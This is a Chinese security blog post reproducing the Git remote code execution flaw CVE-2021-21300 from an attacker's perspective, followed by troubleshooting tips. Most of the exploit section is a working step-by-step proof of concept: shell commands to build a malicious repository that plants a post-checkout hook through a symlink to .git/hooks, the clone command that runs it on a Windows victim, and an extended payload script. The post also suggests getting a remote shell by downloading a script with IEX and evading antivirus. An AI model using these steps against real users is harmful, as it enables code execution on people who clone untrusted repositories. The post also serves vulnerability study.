技术分享 | Git-RCE:CVE-2021-21300

2021-04-14 8,504


git多个版本中,对符号链接处理不严格。在大小写敏感(例如Linux)的文件系统上传文件到git后,使用大小写不敏感文件系统(例如Windows)的主机克隆恶意仓库时可能导致远程命令执行

本文由锦行科技的安全研究团队提供,从攻击者的角度还原了Git-RCE的渗透过程。

触发条件:

  • 仓库中存在同名的链接符号目录

  • 符号链接指向特殊目录(目前看来是.git/hooks

  • 受害机需要有足够权限执行恶意命令



01 复现

01环境准备


库准备

系统:ubuntux64

需安装 git、git-lfs

执行 git lfs install命令可能会报错

Error: Failed to call git rev-parse --git-dir: exit status 128

可以忽略

出现Git LFS initialized.即完成安装


受害机

系统:win10x64

git for window:Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

git for window 的安装全为默认即可


02 恶意仓库准备


①在github新建仓库

网上相应教程很多,不赘述


②在ubuntu构建恶意仓库并上传到github

执行命令如下

$ git init delayed-checkout

$ cd delayed-checkout &&   

echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes && 

mkdir A && 

printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout && 

chmod +x A/post-checkout && 

>A/a && 

>A/b && 

git add -A && 

rm -rf A && 

ln -s .git/hooks a && 

git add a && 

git commit -m initial

$ git branch -M main

$ git remote add origin [自己的仓库地址]

$ git push -u origin main


查看github仓库,校验各文件内容是否正确,需如下显示:


  • gitattributes

1704189437.png


  • a(软链接)

3a72727e16ef99da95e6011a00ef6a5.png


  • A/post-checkout(存储在Git LFS中)

410697617.png


03 攻击测试

在win10提供的powershell(管理员)中执行命令如下:

> git clone -c core.symlinks=true [自己的仓库地址]

clone后出现 PWNED 即为远程命令执行成功

2215220558.png

可见,在clone时,执行了post-checkout文件中的命令。


思路是使用IEX下载脚本,然后通过kali监听获取shell,但大多数脚本都会被识别阻止,通过免杀绕过应该能够实现。

1055601323.png


04 扩展利用

1567206172.png

在目录中添加脚本文件hack.sh

内容如下

#!/bin/sh 

################# 

echo "script working..." && 

cd / && 

pwd && 

mkdir hack 

cd hack && 

touch hacked && 

echo "you has been hacked">hacked && 

echo "done!"

修改post-checkout中执行的命令以执行脚本

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

受害机演示:

在受害机中拉取恶意仓库,可见脚本执行成功

3478157344.png



02 复现中遇到的问题

以下列举在git中可能会存在的各种玄学错误:

01 git的链接错误

如下错误

Failed to connect to github.com port 443: Connection refused

destination path 'CVE-2021-21300' already exists and is not an empty directory


解决方法:

  1. 可以使用代理或者更换代理节点

  2. 稍等一段时间后重试


02 already exists and is not an empty directory

如下错误:

fatal: destination path 'CVE-2021-21300' already exists and is not an empty directory.


解决方法:

重新clone需要删除原有文件


03 warning:Clone succeeded, but checkout failed

如下错误:

error: unable to create file A/post-checkout: No such file or directory
fatal: unable to checkout working tree
warning: Clone succeeded, but checkout failed.
You can inspect what was checked out with 'git status'
and retry the checkout with 'git checkout -f HEAD'


解决方法:

clone时需要添加参数 -c core.symlinks=true 开启git对符号链接的支持


04 Encountered 1 file(s) that should have been pointers, but weren't : A/post-checkout 

解决方法:

在构造恶意仓库时发生错误,重新检查各需要检查的文件内容是否正确,软链接是否正确


0Error when cloning a repo - Smudge error, error: external filter 'git-lfs filter-process' failed, smudge filter lfs failed

解决方法:

检查恶意仓库中的lfs文件是否正确存储到Git Lfs上


References

https://www.openwall.com/lists/oss-security/2021/03/09/3

https://github.com/Maskhe/CVE-2021-21300



本文作者:锦行科技

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/157098.html

Tags:
评论  (0)
快来写下你的想法吧!

锦行科技

文章数:14 积分: 0

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号